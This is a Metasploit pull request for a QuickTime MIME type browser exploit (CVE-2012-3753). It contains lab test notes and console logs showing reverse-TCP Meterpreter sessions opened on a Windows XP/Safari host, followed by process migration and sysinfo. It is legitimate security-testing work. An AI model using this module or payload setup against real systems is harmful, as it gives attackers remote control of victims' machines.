rapid7/metasploit-framework — pull request #1098 by jvazquez-r7 (2012-11-27 11:18:22+00:00)
Title: Added module for cve-2012-3753

* Tested successfully on Windows XP SP3 / Quicktime 7.7.2 with:
* Safari 5.0.5: exploits safari.exe => works pretty reliable in my tests
* Safari 5.1.7: exploits WebKit2WebProcess.exe => works pretty reliable in the first try in my tests, if something fails, even when Webkit2WebProcess will recover automatically it won't work reliable
* Feedback about the spray results on safari is welcome

msf exploit(apple_quicktime_mime_type) > show options

Module options (exploit/windows/browser/apple_quicktime_mime_type):

Name Current Setting Required Description
---- --------------- -------- -----------
OBFUSCATE true no Enable JavaScript obfuscation
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
URIPATH no The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LHOST 192.168.1.129 yes The listen address
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 Automatic

msf exploit(apple_quicktime_mime_type) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.129:4444
[*] Using URL: http://0.0.0.0:8080/vaU4UW
[*] Local IP: http://192.168.1.129:8080/vaU4UW
[*] Server started.
msf exploit(apple_quicktime_mime_type) > [*] 192.168.1.140 apple_quicktime_mime_type - Target selected as: Windows XP SP3 / Safari 5.0.5 / Apple QuickTime Player 7.7.2
[*] 192.168.1.140 apple_quicktime_mime_type - Sending initial HTML
[*] 192.168.1.140 apple_quicktime_mime_type - Target selected as: Windows XP SP3 / Safari 5.0.5 / Apple QuickTime Player 7.7.2
[*] 192.168.1.140 apple_quicktime_mime_type - Sending exploit (target: Windows XP SP3 / Safari 5.0.5 / Apple QuickTime Player 7.7.2)
[*] Sending stage (752128 bytes) to 192.168.1.140
[*] Meterpreter session 4 opened (192.168.1.129:4444 -> 192.168.1.140:1582) at 2012-11-27 12:00:49 +0100
[*] Session ID 4 (192.168.1.129:4444 -> 192.168.1.140:1582) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: Safari.exe (816)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2096
[+] Successfully migrated to process
[*] 192.168.1.140 - Meterpreter session 4 closed. Reason: Died

msf exploit(apple_quicktime_mime_type) >
[*] 192.168.1.140 apple_quicktime_mime_type - Target selected as: Windows XP SP3 / Safari 5.1.7 / Apple QuickTime Player 7.7.2
[*] 192.168.1.140 apple_quicktime_mime_type - Sending initial HTML
[*] 192.168.1.140 apple_quicktime_mime_type - Target selected as: Windows XP SP3 / Safari 5.1.7 / Apple QuickTime Player 7.7.2
[*] 192.168.1.140 apple_quicktime_mime_type - Sending exploit (target: Windows XP SP3 / Safari 5.1.7 / Apple QuickTime Player 7.7.2)
[*] Sending stage (752128 bytes) to 192.168.1.140
[*] Meterpreter session 5 opened (192.168.1.129:4444 -> 192.168.1.140:4009) at 2012-11-27 12:02:58 +0100
[*] Session ID 5 (192.168.1.129:4444 -> 192.168.1.140:4009) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: WebKit2WebProcess.exe (2624)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 284
[+] Successfully migrated to process

msf exploit(apple_quicktime_mime_type) > sessions -i 5
[*] Starting interaction with 5...

meterpreter > sysinfo
Computer : MSFWORK2
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.140 - Meterpreter session 5 closed. Reason: User exit
msf exploit(apple_quicktime_mime_type) > exit -y

[*] Server stopped.